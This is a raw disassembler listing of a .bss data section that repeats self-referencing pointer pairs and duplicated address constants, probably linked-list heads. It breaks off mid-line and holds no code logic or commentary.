.bss:4001C88Co dd offset off_4001C888 off_4001C890 dd offset off_4001C890 ; DATA XREF: .bss:off_4001C890o ; .bss:4001C894o dd offset off_4001C890 off_4001C898 dd offset off_4001C898 ; DATA XREF: .bss:off_4001C898o ; .bss:4001C89Co dd offset off_4001C898 off_4001C8A0 dd offset off_4001C8A0 ; DATA XREF: .bss:off_4001C8A0o ; .bss:4001C8A4o dd offset off_4001C8A0 off_4001C8A8 dd offset off_4001C8A8 ; DATA XREF: .bss:off_4001C8A8o ; .bss:4001C8ACo dd offset off_4001C8A8 off_4001C8B0 dd offset off_4001C8B0 ; DATA XREF: .bss:off_4001C8B0o ; .bss:4001C8B4o dd offset off_4001C8B0 off_4001C8B8 dd offset off_4001C8B8 ; DATA XREF: .bss:off_4001C8B8o ; .bss:4001C8BCo dd offset off_4001C8B8 off_4001C8C0 dd offset off_4001C8C0 ; DATA XREF: .bss:off_4001C8C0o ; .bss:4001C8C4o dd offset off_4001C8C0 off_4001C8C8 dd offset off_4001C8C8 ; DATA XREF: .bss:off_4001C8C8o ; .bss:4001C8CCo dd offset off_4001C8C8 off_4001C8D0 dd offset off_4001C8D0 ; DATA XREF: .bss:off_4001C8D0o ; .bss:4001C8D4o dd offset off_4001C8D0 off_4001C8D8 dd offset off_4001C8D8 ; DATA XREF: .bss:off_4001C8D8o ; .bss:4001C8DCo dd offset off_4001C8D8 off_4001C8E0 dd offset off_4001C8E0 ; DATA XREF: .bss:off_4001C8E0o ; .bss:4001C8E4o dd offset off_4001C8E0 off_4001C8E8 dd offset off_4001C8E8 ; DATA XREF: .bss:off_4001C8E8o ; .bss:4001C8ECo dd offset off_4001C8E8 off_4001C8F0 dd offset off_4001C8F0 ; DATA XREF: .bss:off_4001C8F0o ; .bss:4001C8F4o dd offset off_4001C8F0 off_4001C8F8 dd offset off_4001C8F8 ; DATA XREF: .bss:off_4001C8F8o ; .bss:4001C8FCo dd offset off_4001C8F8 off_4001C900 dd offset off_4001C900 ; DATA XREF: .bss:off_4001C900o ; .bss:4001C904o dd offset off_4001C900 off_4001C908 dd offset off_4001C908 ; DATA XREF: .bss:off_4001C908o ; .bss:4001C90Co dd offset off_4001C908 off_4001C910 dd offset off_4001C910 ; DATA XREF: .bss:off_4001C910o ; .bss:4001C914o dd offset off_4001C910 off_4001C918 dd offset off_4001C918 ; DATA XREF: .bss:off_4001C918o ; .bss:4001C91Co dd offset off_4001C918 off_4001C920 dd offset off_4001C920 ; DATA XREF: .bss:off_4001C920o ; .bss:4001C924o dd offset off_4001C920 off_4001C928 dd offset off_4001C928 ; DATA XREF: .bss:off_4001C928o ; .bss:4001C92Co dd offset off_4001C928 off_4001C930 dd offset off_4001C930 ; DATA XREF: .bss:off_4001C930o ; .bss:4001C934o dd offset off_4001C930 off_4001C938 dd offset off_4001C938 ; DATA XREF: .bss:off_4001C938o ; .bss:4001C93Co dd offset off_4001C938 off_4001C940 dd offset off_4001C940 ; DATA XREF: .bss:off_4001C940o ; .bss:4001C944o dd offset off_4001C940 off_4001C948 dd offset off_4001C948 ; DATA XREF: .bss:off_4001C948o ; .bss:4001C94Co dd offset off_4001C948 off_4001C950 dd offset off_4001C950 ; DATA XREF: .bss:off_4001C950o ; .bss:4001C954o dd offset off_4001C950 off_4001C958 dd offset off_4001C958 ; DATA XREF: .bss:off_4001C958o ; .bss:4001C95Co dd offset off_4001C958 off_4001C960 dd offset off_4001C960 ; DATA XREF: .bss:off_4001C960o ; .bss:4001C964o dd offset off_4001C960 off_4001C968 dd offset off_4001C968 ; DATA XREF: .bss:off_4001C968o ; .bss:4001C96Co dd offset off_4001C968 off_4001C970 dd offset off_4001C970 ; DATA XREF: .bss:off_4001C970o ; .bss:4001C974o dd offset off_4001C970 off_4001C978 dd offset off_4001C978 ; DATA XREF: .bss:off_4001C978o ; .bss:4001C97Co dd offset off_4001C978 off_4001C980 dd offset off_4001C980 ; DATA XREF: .bss:off_4001C980o ; .bss:4001C984o dd offset off_4001C980 off_4001C988 dd offset off_4001C988 ; DATA XREF: .bss:off_4001C988o ; .bss:4001C98Co dd offset off_4001C988 off_4001C990 dd offset off_4001C990 ; DATA XREF: .bss:off_4001C990o ; .bss:4001C994o dd offset off_4001C990 off_4001C998 dd offset off_4001C998 ; DATA XREF: .bss:off_4001C998o ; .bss:4001C99Co dd offset off_4001C998 off_4001C9A0 dd offset off_4001C9A0 ; DATA XREF: .bss:off_4001C9A0o ; .bss:4001C9A4o dd offset off_4001C9A0 off_4001C9A8 dd offset off_4001C9A8 ; DATA XREF: .bss:off_4001C9A8o ; .bss:4001C9ACo dd offset off_4001C9A8 off_4001C9B0 dd offset off_4001C9B0 ; DATA XREF: .bss:off_4001C9B0o ; .bss:4001C9B4o dd offset off_4001C9B0 off_4001C9B8 dd offset off_4001C9B8 ; DATA XREF: .bss:off_4001C9B8o ; .bss:4001C9BCo dd offset off_4001C9B8 off_4001C9C0 dd offset off_4001C9C0 ; DATA XREF: .bss:off_4001C9C0o ; .bss:4001C9C4o dd offset off_4001C9C0 off_4001C9C8 dd offset off_4001C9C8 ; DATA XREF: .bss:off_4001C9C8o ; .bss:4001C9CCo dd offset off_4001C9C8 off_4001C9D0 dd offset off_4001C9D0 ; DATA XREF: .bss:off_4001C9D0o ; .bss:4001C9D4o dd offset off_4001C9D0 off_4001C9D8 dd offset off_4001C9D8 ; DATA XREF: .bss:off_4001C9D8o ; .bss:4001C9DCo dd offset off_4001C9D8 off_4001C9E0 dd offset off_4001C9E0 ; DATA XREF: .bss:off_4001C9E0o ; .bss:4001C9E4o dd offset off_4001C9E0 off_4001C9E8 dd offset off_4001C9E8 ; DATA XREF: .bss:off_4001C9E8o ; .bss:4001C9ECo dd offset off_4001C9E8 off_4001C9F0 dd offset off_4001C9F0 ; DATA XREF: .bss:off_4001C9F0o ; .bss:4001C9F4o dd offset off_4001C9F0 off_4001C9F8 dd offset off_4001C9F8 ; DATA XREF: .bss:off_4001C9F8o ; .bss:4001C9FCo dd offset off_4001C9F8 off_4001CA00 dd offset off_4001CA00 ; DATA XREF: .bss:off_4001CA00o ; .bss:4001CA04o dd offset off_4001CA00 off_4001CA08 dd offset off_4001CA08 ; DATA XREF: .bss:off_4001CA08o ; .bss:4001CA0Co dd offset off_4001CA08 off_4001CA10 dd offset off_4001CA10 ; DATA XREF: .bss:off_4001CA10o ; .bss:4001CA14o dd offset off_4001CA10 off_4001CA18 dd offset off_4001CA18 ; DATA XREF: .bss:off_4001CA18o ; .bss:4001CA1Co dd offset off_4001CA18 off_4001CA20 dd offset off_4001CA20 ; DATA XREF: .bss:off_4001CA20o ; .bss:4001CA24o dd offset off_4001CA20 off_4001CA28 dd offset off_4001CA28 ; DATA XREF: .bss:off_4001CA28o ; .bss:4001CA2Co dd offset off_4001CA28 off_4001CA30 dd offset off_4001CA30 ; DATA XREF: .bss:off_4001CA30o ; .bss:4001CA34o dd offset off_4001CA30 off_4001CA38 dd offset off_4001CA38 ; DATA XREF: .bss:off_4001CA38o ; .bss:4001CA3Co dd offset off_4001CA38 off_4001CA40 dd offset off_4001CA40 ; DATA XREF: .bss:off_4001CA40o ; .bss:4001CA44o dd offset off_4001CA40 off_4001CA48 dd offset off_4001CA48 ; DATA XREF: .bss:off_4001CA48o ; .bss:4001CA4Co dd offset off_4001CA48 off_4001CA50 dd offset off_4001CA50 ; DATA XREF: .bss:off_4001CA50o ; .bss:4001CA54o dd offset off_4001CA50 off_4001CA58 dd offset off_4001CA58 ; DATA XREF: .bss:off_4001CA58o ; .bss:4001CA5Co dd offset off_4001CA58 off_4001CA60 dd offset off_4001CA60 ; DATA XREF: .bss:off_4001CA60o ; .bss:4001CA64o dd offset off_4001CA60 off_4001CA68 dd offset off_4001CA68 ; DATA XREF: .bss:off_4001CA68o ; .bss:4001CA6Co dd offset off_4001CA68 off_4001CA70 dd offset off_4001CA70 ; DATA XREF: .bss:off_4001CA70o ; .bss:4001CA74o dd offset off_4001CA70 off_4001CA78 dd offset off_4001CA78 ; DATA XREF: .bss:off_4001CA78o ; .bss:4001CA7Co dd offset off_4001CA78 off_4001CA80 dd offset off_4001CA80 ; DATA XREF: .bss:off_4001CA80o ; .bss:4001CA84o dd offset off_4001CA80 off_4001CA88 dd offset off_4001CA88 ; DATA XREF: .bss:off_4001CA88o ; .bss:4001CA8Co dd offset off_4001CA88 off_4001CA90 dd offset off_4001CA90 ; DATA XREF: .bss:off_4001CA90o ; .bss:4001CA94o dd offset off_4001CA90 off_4001CA98 dd offset off_4001CA98 ; DATA XREF: .bss:off_4001CA98o ; .bss:4001CA9Co dd offset off_4001CA98 off_4001CAA0 dd offset off_4001CAA0 ; DATA XREF: .bss:off_4001CAA0o ; .bss:4001CAA4o dd offset off_4001CAA0 off_4001CAA8 dd offset off_4001CAA8 ; DATA XREF: .bss:off_4001CAA8o ; .bss:4001CAACo dd offset off_4001CAA8 off_4001CAB0 dd offset off_4001CAB0 ; DATA XREF: .bss:off_4001CAB0o ; .bss:4001CAB4o dd offset off_4001CAB0 off_4001CAB8 dd offset off_4001CAB8 ; DATA XREF: .bss:off_4001CAB8o ; .bss:4001CABCo dd offset off_4001CAB8 off_4001CAC0 dd offset off_4001CAC0 ; DATA XREF: .bss:off_4001CAC0o ; .bss:4001CAC4o dd offset off_4001CAC0 off_4001CAC8 dd offset off_4001CAC8 ; DATA XREF: .bss:off_4001CAC8o ; .bss:4001CACCo dd offset off_4001CAC8 off_4001CAD0 dd offset off_4001CAD0 ; DATA XREF: .bss:off_4001CAD0o ; .bss:4001CAD4o dd offset off_4001CAD0 off_4001CAD8 dd offset off_4001CAD8 ; DATA XREF: .bss:off_4001CAD8o ; .bss:4001CADCo dd offset off_4001CAD8 off_4001CAE0 dd offset off_4001CAE0 ; DATA XREF: .bss:off_4001CAE0o ; .bss:4001CAE4o dd offset off_4001CAE0 dd 2 dup(992090h), 2 dup(4001CAF0h), 2 dup(4001CAF8h) dd 2 dup(4001CB00h), 2 dup(4001CB08h), 2 dup(4001CB10h) dd 2 dup(4001CB18h), 2 dup(4001CB20h), 2 dup(4001CB28h) dd 2 dup(4001CB30h), 2 dup(4001CB38h), 2 dup(4001CB40h) dd 2 dup(4001CB48h), 2 dup(4001CB50h), 2 dup(4001CB58h) dd 2 dup(4001CB60h), 2 dup(4001CB68h), 2 dup(4001CB70h) dd 2 dup(4001CB78h), 2 dup(4001CB80h), 2 dup(4001CB88h) dd 2 dup(4001CB90h), 2 dup(4001CB98h), 2 dup(4001CBA0h) dd 2 dup(4001CBA8h), 2 dup(4001CBB0h), 2 dup(4001CBB8h) dd 2 dup(4001CBC0h), 2 dup(4001CBC8h), 2 dup(4001CBD0h) dd 2 dup(4001CBD8h), 2 dup(4001CBE0h), 2 dup(4001CBE8h) dd 2 dup(4001CBF0h), 2 dup(4001CBF8h), 2 dup(4001CC00h) dd 2 dup(4001CC08h), 2 dup(4001CC10h), 2 dup(4001CC18h) dd 2 dup(4001CC20h), 2 dup(4001CC28h), 2 dup(4001CC30h) dd 2 dup(4001CC38h), 2 dup(4001CC40h), 2 dup(4001CC48h) dd 2 dup(4001CC50h), 2 dup(4001CC58h), 2 dup(4001CC60h) dd 2 dup(4001CC68h), 2 dup(4001CC70h), 2 dup(4001CC78h) dd 2 dup(4001CC80h), 2 dup(4001CC88h), 2 dup(4001CC90h) dd 2 dup(4001CC98h), 2 dup(4001CCA0h), 2 dup(4001CCA8h) dd 2 dup(4001CCB0h), 2 dup(4001CCB8h), 2 dup(4001CCC0h) dd 2 dup(4001CCC8h), 2 dup(4001CCD0h), 2 dup(4001CCD8h) dd 2 dup(4001CCE0h), 2 dup(4001CCE8h), 2 dup(4001CCF0h) dd 2 dup(4001CCF8h), 2 dup(4001CD00h), 2 dup(4001CD08h) dd 2 dup(4001CD10h), 2 dup(4001CD18h), 2 dup(4001CD20h) dd 2 dup(4001CD28h), 2 dup(4001CD30h), 2 dup(4001CD38h) dd 2 dup(4001CD40h), 2 dup(4001CD48h), 2 dup(4001CD50h) dd 2 dup(4001CD58h), 2 dup(4001CD60h), 2 dup(4001CD68h) dd 2 dup(4001CD70h), 2 dup(4001CD78h), 2 dup(4001CD80h) dd 2 dup(4001CD88h), 2 dup(4001CD90h), 2 dup(4001CD98h) dd 2 dup(4001CDA0h), 2 dup(4001CDA8h), 2 dup(4001CDB0h) dd 2 dup(4001CDB8h), 2 dup(4001CDC0h), 2 dup(4001CDC8h) dd 2 dup(4001CDD0h), 2 dup(4001CDD8h), 2 dup(4001CDE0h) dd 2 dup(4001CDE8h), 2 dup(4001CDF0h), 2 dup(4001CDF8h) dd 2 dup(4001CE00h), 2 dup(4001CE08h), 2 dup(4001CE10h) dd 2 dup(4001CE18h), 2 dup(4001CE20h), 2 dup(4001CE28h) dd 2 dup(4001CE30h), 2 dup(4001CE38h), 2 dup(4001CE40h) dd 2 dup(4001CE48h), 2 dup(4001CE50h), 2 dup(4001CE58h) dd 2 dup(4001CE60h), 2 dup(4001CE68h), 2 dup(4001CE70h) dd 2 dup(4001CE78h), 2 dup(4001CE80h), 2 dup(4001CE88h) dd 2 dup(4001CE90h), 2 dup(4001CE98h), 2 dup(4001CEA0h) dd 2 dup(4001CEA8h), 2 dup(4001CEB0h), 2 dup(4001CEB8h) dd 2 dup(4001CEC0h), 2 dup(4001CEC8h), 2 dup(4001CED0h) dd 2 dup(4001CED8h), 2 dup(4001CEE0h), 2 dup(4001CEE8h) dd 2 dup(4001CEF0h), 2 dup(4001CEF8h), 2 dup(4001CF00h) dd 2 dup(4001CF08h), 2 dup(4001CF10h), 2 dup(4001CF18h) dd 2 dup(4001CF20h), 2 dup(4001CF28h), 2 dup(4001CF30h) dd 2 dup(4001CF38h), 2 dup(4001CF40h), 2 dup(4001CF48h) dd 2 dup(4001CF50h), 2 dup(4001CF58h), 2 dup(4001CF60h) dd 2 dup(4001CF68h), 2 dup(4001CF70h), 2 dup(4001CF78h) dd 2 dup(4001CF80h), 2 dup(4001CF88h), 2 dup(4001CF90h) dd 2 dup(4001CF98h), 2 dup(4001CFA0h), 2 dup(4001CFA8h) dd 2 dup(4001CFB0h), 2 dup(4001CFB8h), 2 dup(4001CFC0h) dd 2 dup(4001CFC8h), 2 dup(4001CFD0h), 2 dup(4001CFD8h) dd 2 dup(4001CFE0h), 2 dup(9FDFF0h), 2 dup(4001CFF0h) dd 2 dup(4001CFF8h), 2 dup(4001D000h), 2 dup(4001D008h) dd 2 dup(4001D010h), 2 dup(4001D018h), 2 dup(4001D020h) dd 2 dup(4001D028h), 2 dup(4001D030h), 2 dup(4001D038h) dd 2 dup(4001D040h), 2 dup(4001D048h), 2 dup(4001D050h) dd 2 dup(4001D058h), 2 dup(4001D060h), 2 dup(4001D068h) dd 2 dup(4001D070h), 2 dup(4001D078h), 2 dup(4001D080h) dd 2 dup(4001D088h), 2 dup(4001D090h), 2 dup(4001D098h) dd 2 dup(4001D0A0h), 2 dup(4001D0A8h), 2 dup(4001D0B0h) dd 2 dup(4001D0B8h), 2 dup(4001D0C0h), 2 dup(4001D0C8h) dd 2 dup(4001D0D0h), 2 dup(4001D0D8h), 2 dup(4001D0E0h) dd 2 dup(4001D0E8h), 2 dup(4001D0F0h), 2 dup(4001D0F8h) dd 2 dup(4001D100h), 2 dup(4001D108h), 2 dup(4001D110h) dd 2 dup(4001D118h), 2 dup(4001D120h), 2 dup(4001D128h) dd 2 dup(4001D130h), 2 dup(4001D138h), 2 dup(4001D140h) dd 2 dup(4001D148h), 2 dup(4001D150h), 2 dup(4001D158h) dd 2 dup(4001D160h), 2 dup(4001D168h), 2 dup(4001D170h) dd 2 dup(4001D178h), 2 dup(4001D180h), 2 dup(4001D188h) dd 2 dup(4001D190h), 2 dup(4001D198h), 2 dup(4001D1A0h) dd 2 dup(4001D1A8h), 2 dup(4001D1B0h), 2 dup(4001D1B8h) dd 2 dup(4001D1C0h), 2 dup(4001D1C8h), 2 dup(4001D1D0h) dd 2 dup(4001D1D8h), 2 dup(4001D1E0h), 2 dup(4001D1E8h) dd 2 dup(4001D1F0h), 2 dup(4001D1F8h), 2 dup(4001D200h) dd 2 dup(4001D208h), 2 dup(4001D210h), 2 dup(4001D218h) dd 2 dup(4001D220h), 2 dup(4001D228h), 2 dup(4001D230h) dd 2 dup(4001D238h), 2 dup(4001D240h), 2 dup(4001D248h) dd 2 dup(4001D250h), 2 dup(4001D258h), 2 dup(4001D260h) dd 2 dup(4001D268h), 2 dup(4001D270h), 2 dup(4001D278h) dd 2 dup(4001D280h), 2 dup(4001D288h), 2 dup(4001D290h) dd 2 dup(4001D298h), 2 dup(4001D2A0h), 2 dup(4001D2A8h) dd 2 dup(4001D2B0h), 2 dup(4001D2B8h), 2 dup(4001D2C0h) dd 2 dup(4001D2C8h), 2 dup(4001D2D0h), 2 dup(4001D2D8h) dd 2 dup(4001D2E0h), 2 dup(4001D2E8h), 2 dup(4001D2F0h) dd 2 dup(4001D2F8h), 2 dup(4001D300h), 2 dup(4001D308h) dd 2 dup(4001D310h), 2 dup(4001D318h), 2 dup(4001D320h) dd 2 dup(4001D328h), 2 dup(4001D330h), 2 dup(4001D338h) dd 2 dup(4001D340h), 2 dup(4001D348h), 2 dup(4001D350h) dd 2 dup(4001D358h), 2 dup(4001D360h), 2 dup(4001D368h) dd 2 dup(4001D370h), 2 dup(4001D378h), 2 dup(4001D380h) dd 2 dup(4001D388h), 2 dup(4001D390h), 2 dup(4001D398h) dd 2 dup(4001D3A0h), 2 dup(4001D3A8h), 2 dup(4001D3B0h) dd 2 dup(4001D3B8h), 2 dup(4001D3C0h), 2 dup(4001D3C8h) dd 2 dup(4001D3D0h), 2 dup(4001D3D8h), 2 dup(4001D3E0h) dd 2 dup(4001D3E8h), 2 dup(4001D3F0h), 2 dup(4001D3F8h) dd 2 dup(4001D400h), 2 dup(4001D408h), 2 dup(4001D410h) dd 2 dup(4001D418h), 2 dup(4001D420h), 2 dup(4001D428h) dd 2 dup(4001D430h), 2 dup(4001D438h), 2 dup(4001D440h) dd 2 dup(4001D448h), 2 dup(4001D450h), 2 dup(4001D458h) dd 2 dup(4001D460h), 2 dup(4001D468h), 2 dup(4001D470h) dd 2 dup(4001D478h), 2 dup(4001D480h), 2 dup(4001D488h) dd 2 dup(4001D490h), 2 dup(4001D498h), 2 dup(4001D4A0h) dd 2 dup(4001D4A8h), 2 dup(4001D4B0h), 2 dup(4001D4B8h) dd 2 dup(4001D4C0h), 2 dup(4001D4C8h), 2 dup(4001D4D0h) dd 2 dup(4001D4D8h), 2 dup(4001D4E0h), 2 dup(4001D4E8h) dd 2 dup(4001D4F0h), 2 dup(4001D4F8h), 2 dup(4001D500h) dd 2 dup(4001D508h), 2 dup(4001D510h), 2 dup(4001D518h) dd 2 dup(4001D520h), 2 dup(4001D528h), 2 dup(4001D530h) dd 2 dup(4001D538h), 2 dup(4001D540h), 2 dup(4001D548h) dd 2 dup(4001D550h), 2 dup(4001D558h), 2 dup(4001D560h) dd 2 dup(4001D568h), 2 dup(4001D570h), 2 dup(4001D578h) dd 2 dup(4001D580h), 2 dup(4001D588h), 2 dup(4001D590h) dd 2 dup(4001D598h), 2 dup(4001D5A0h), 2 dup(4001D5A8h) dd 2 dup(4001D5B0h), 2 dup(4001D5B8h), 2 dup(4001D5C0h) dd 2 dup(4001D5C8h), 2 dup(4001D5D0h), 2 dup(4001D5D8h) dd 2 dup(4001D5E0h), 2 dup(4001D5E8h), 2 dup(4001D5F0h) dd 2 dup(4001D5F8h), 2 dup(4001D600h), 2 dup(4001D608h) dd 2 dup(4001D610h), 2 dup(4001D618h), 2 dup(4001D620h) dd 2 dup(4001D628h), 2 dup(4001D630h), 2 dup(4001D638h) dd 2 dup(4001D640h), 2 dup(4001D648h), 2 dup(4001D650h) dd 2 dup(4001D658h), 2 dup(4001D660h), 2 dup(4001D668h) dd 2 dup(4001D670h), 2 dup(4001D678h), 2 dup(4001D680h) dd 2 dup(4001D688h), 2 dup(4001D690h), 2 dup(4001D698h) dd 2 dup(4001D6A0h), 2 dup(4001D6A8h), 2 dup(4001D6B0h) dd 2 dup(4001D6B8h), 2 dup(4001D6C0h), 2 dup(4001D6C8h) dd 2 dup(4001D6D0h), 2 dup(4001D6D8h), 2 dup(4001D6E0h) dd 2 dup(4001D6E8h), 2 dup(4001D6F0h), 2 dup(4001D6F8h) dd 2 dup(4001D700h), 2 dup(4001D708h), 2 dup(4001D710h) dd 2 dup(4001D718h), 2 dup(4001D720h), 2 dup(4001D728h) dd 2 dup(4001D730h), 2 dup(4001D738h), 2 dup(4001D740h) dd 2 dup(4001D748h), 2 dup(4001D750h), 2 dup(4001D758h) dd 2 dup(4001D760h), 2 dup(4001D768h), 2 dup(4001D770h) dd 2 dup(4001D778h), 2 dup(4001D780h), 2 dup(4001D788h) dd 2 dup(4001D790h), 2 dup(4001D798h), 2 dup(4001D7A0h) dd 2 dup(4001D7A8h), 2 dup(4001D7B0h), 2 dup(4001D7B8h) dd 2 dup(4001D7C0h), 2 dup(4001D7C8h), 2 dup(4001D7D0h) dd 2 dup(4001D7D8h), 2 dup(4001D7E0h), 2 dup(4001D7E8h) dd 2 dup(4001D7F0h), 2 dup(4001D7F8h), 2 dup(4001D800h) dd 2 dup(4001D808h), 2 dup(4001D810h), 2 dup(4001D818h) dd 2 dup(4001D820h), 2 dup(4001D828h), 2 dup(4001D830h) dd 2 dup(4001D838h), 2 dup(4001D840h), 2 dup(4001D848h) dd 2 dup(4001D850h), 2 dup(4001D858h), 2 dup(4001D860h) dd 2 dup(4001D868h), 2 dup(4001D870h), 2 dup(4001D878h) dd 2 dup(4001D880h), 2 dup(4001D888h), 2 dup(4001D890h) dd 2 dup(4001D898h), 2 dup(4001D8A0h), 2 dup(4001D8A8h) dd 2 dup(4001D8B0h), 2 dup(4001D8B8h), 2 dup(4001D8C0h) dd 2 dup(4001D8C8h), 2 dup(4001D8D0h), 2 dup(4001D8D8h) dd 2 dup(4001D8E0h), 2 dup(4001D8E8h), 2 dup(4001D8F0h) dd 2 dup(4001D8F8h), 2 dup(4001D900h), 2 dup(4001D908h) dd 2 dup(4001D910h), 2 dup(4001D918h), 2 dup(4001D920h) dd 2 dup(4001D928h), 2 dup(4001D930h), 2 dup(4001D938h) dd 2 dup(4001D940h), 2 dup(4001D948h), 2 dup(4001D950h) dd 2 dup(4001D958h), 2 dup(4001D960h), 2 dup(4001D968h) dd 2 dup(4001D970h), 2 dup(4001D978h), 2 dup(4001D980h) dd 2 dup(4001D988h), 2 dup(4001D990h), 2 dup(4001D998h) dd 2 dup(4001D9A0h), 2 dup(4001D9A8h), 2 dup(4001D9B0h) dd 2 dup(4001D9B8h), 2 dup(4001D9C0h), 2 dup(4001D9C8h) dd 2 dup(4001D9D0h), 2 dup(4001D9D8h), 2 dup(4001D9E0h) dd 2 dup(4001D9E8h), 2 dup(4001D9F0h), 2 dup(4001D9F8h) dd 2 dup(4001DA00h), 2 dup(4001DA08h), 2 dup(4001DA10h) dd 2 dup(4001DA18h), 2 dup(4001DA20h), 2 dup(4001DA28h) dd 2 dup(4001DA30h), 2 dup(4001DA38h), 2 dup(4001DA40h) dd 2 dup(4001DA48h), 2 dup(4001DA50h), 2 dup(4001DA58h) dd 2 dup(4001DA60h), 2 dup(4001DA68h), 2 dup(4001DA70h) dd 2 dup(4001DA78h), 2 dup(4001DA80h), 2 dup(4001DA88h) dd 2 dup(4001DA90h), 2 dup(4001DA98h), 2 dup(4001DAA0h) dd 2 dup(4001DAA8h), 2 dup(4001DAB0h), 2 dup(4001DAB8h) dd 2 dup(4001DAC0h), 2 dup(4001DAC8h), 2 dup(4001DAD0h) dd 2 dup(4001DAD8h), 4001DAE0h dd 4001DAE0h, 2 dup(4001DAE8h), 2 dup(4001DAF0h), 2 dup(4001DAF8h) dd 2 dup(4001DB00h), 2 dup(4001DB08h), 2 dup(4001DB10h) dd 2 dup(4001DB18h), 2 dup(4001DB20h), 2 dup(4001DB28h) dd 2 dup(4001DB30h), 2 dup(4001DB38h), 2 dup(4001DB40h) dd 2 dup(4001DB48h), 2 dup(4001DB50h), 2 dup(4001DB58h) dd 2 dup(4001DB60h), 2 dup(4001DB68h), 2 dup(4001DB70h) dd 2 dup(4001DB78h), 2 dup(4001DB80h), 2 dup(4001DB88h) dd 2 dup(4001DB90h), 2 dup(4001DB98h), 2 dup(4001DBA0h) dd 2 dup(4001DBA8h), 2 dup(4001DBB0h), 2 dup(4001DBB8h) dd 2 dup(4001DBC0h), 2 dup(4001DBC8h), 2 dup(4001DBD0h) dd 2 dup(4001DBD8h), 2 dup(4001DBE0h), 2 dup(4001DBE8h) dd 2 dup(4001DBF0h), 2 dup(4001DBF8h), 2 dup(4001DC00h) dd 2 dup(4001DC08h), 2 dup(4001DC10h), 2 dup(4001DC18h) dd 2 dup(4001DC20h), 2 dup(4001DC28h), 2 dup(4001DC30h) dd 2 dup(4001DC38h), 2 dup(4001DC40h), 2 dup(4001DC48h) dd 2 dup(4001DC50h), 2 dup(4001DC58h), 2 dup(4001DC60h) dd 2 dup(4001DC68h), 2 dup(4001DC70h), 2 dup(4001DC78h) dd 2 dup(4001DC80h), 2 dup(4001DC88h), 2 dup(4001DC90h) dd 2 dup(4001DC98h), 2 dup(4001DCA0h), 2 dup(4001DCA8h) dd 2 dup(4001DCB0h), 2 dup(4001DCB8h), 2 dup(4001DCC0h) dd 2 dup(4001DCC8h), 2 dup(4001DCD0h), 2 dup(4001DCD8h) dd 2 dup(4001DCE0h), 2 dup(4001DCE8h), 2 dup(4001DCF0h) dd 2 dup(4001DCF8h), 2 dup(4001DD00h), 2 dup(4001DD08h) dd 2 dup(4001DD10h), 2 dup(4001DD18h), 2 dup(4001DD20h) dd 2 dup(4001DD28h), 2 dup(4001DD30h), 2 dup(4001DD38h) dd 2 dup(4001DD40h), 2 dup(4001DD48h), 2 dup(4001DD50h) dd 2 dup(4001DD58h), 2 dup(4001DD60h), 2 dup(4001DD68h) dd 2 dup(4001DD70h), 2 dup(4001DD78h), 2 dup(4001DD80h) dd 2 dup(4001DD88h), 2 dup(4001DD90h), 2 dup(4001DD98h) dd 2 dup(4001DDA0h), 2 dup(4001DDA8h), 2 dup(4001DDB0h) dd 2 dup(4001DDB8h), 2 dup(4001DDC0h), 2 dup(4001DDC8h) dd 2 dup(4001DDD0h), 2 dup(4001DDD8h), 2 dup(4001DDE0h) dd 2 dup(4001DDE8h), 2 dup(4001DDF0h), 2 dup(4001DDF8h) dd 2 dup(4001DE00h), 2 dup(4001DE08h), 2 dup(4001DE10h) dd 2 dup(4001DE18h), 2 dup(4001DE20h), 2 dup(4001DE28h) dd 2 dup(4001DE30h), 2 dup(4001DE38h), 2 dup(4001DE40h) dd 2 dup(4001DE48h), 2 dup(4001DE50h), 2 dup(4001DE58h) dd 2 dup(4001DE60h), 2 dup(4001DE68h), 2 dup(4001DE70h) dd 2 dup(4001DE78h), 2 dup(4001DE80h), 2 dup(4001DE88h) dd 2 dup(4001DE90h), 2 dup(4001DE98h), 2 dup(4001DEA0h) dd 2 dup(4001DEA8h), 2 dup(4001DEB0h), 2 dup(4001DEB8h) dd 2 dup(4001DEC0h), 2 dup(4001DEC8h), 2 dup(4001DED0h) dd 2 dup(4001DED8h), 2 dup(4001DEE0h), 2 dup(4001DEE8h) dd 2 dup(4001DEF0h), 2 dup(4001DEF8h), 2 dup(4001DF00h) dd 2 dup(4001DF08h), 2 dup(4001DF10h), 2 dup(4001DF18h) dd 2 dup(4001DF20h), 2 dup(4001DF28h), 2 dup(4001DF30h) dd 2 dup(4001DF38h), 2 dup(4001DF40h), 2 dup(4001DF48h) dd 2 dup(4001DF50h), 2 dup(4001DF58h), 2 dup(4001DF60h) dd 2 dup(4001DF68h), 2 dup(4001DF70h), 2 dup(4001DF78h) dd 2 dup(4001DF80h), 2 dup(4001DF88h), 2 dup(4001DF90h) dd 2 dup(4001DF98h), 2 dup(4001DFA0h), 2 dup(4001DFA8h) dd 2 dup(4001DFB0h), 2 dup(4001DFB8h), 2 dup(4001DFC0h) dd 2 dup(4001DFC8h), 2 dup(4001DFD0h), 2 dup(4001DFD8h) dd 2 dup(4001DFE0h), 2 dup(4001DFE8h), 2 dup(4001DFF0h) dd 2 dup(4001DFF8h), 2 dup(4001E000h), 2 dup(4001E008h) dd 2 dup(4001E010h), 2 dup(4001E018h), 2 dup(4001E020h) dd 2 dup(4001E028h), 2 dup(4001E030h), 2 dup(4001E038h) dd 2 dup(4001E040h), 2 dup(4001E048h), 2 dup(4001E050h) dd 2 dup(4001E058h), 2 dup(4001E060h), 2 dup(4001E068h) dd 2 dup(4001E070h), 2 dup(4001E078h), 2 dup(4001E080h) dd 2 dup(4001E088h), 2 dup(4001E090h), 2 dup(4001E098h) dd 2 dup(4001E0A0h), 2 dup(4001E0A8h), 2 dup(4001E0B0h) dd 2 dup(4001E0B8h), 2 dup(4001E0C0h), 2 dup(4001E0C8h) dd 2 dup(4001E0D0h), 2 dup(4001E0D8h), 2 dup(4001E0E0h) dd 2 dup(4001E0E8h), 2 dup(4001E0F0h), 2 dup(4001E0F8h) dd 2 dup(4001E100h), 2 dup(4001E108h), 2 dup(4001E110h) dd 2 dup(4001E118h), 2 dup(4001E120h), 2 dup(4001E128h) dd 2 dup(4001E130h), 2 dup(4001E138h), 2 dup(4001E140h) dd 2 dup(4001E148h), 2 dup(4001E150h), 2 dup(4001E158h) dd 2 dup(4001E160h), 2 dup(4001E168h), 2 dup(4001E170h) dd 2 dup(4001E178h), 2 dup(4001E180h), 2 dup(4001E188h) dd 2 dup(4001E190h), 2 dup(4001E198h), 2 dup(4001E1A0h) dd 2 dup(4001E1A8h), 2 dup(4001E1B0h), 2 dup(4001E1B8h) dd 2 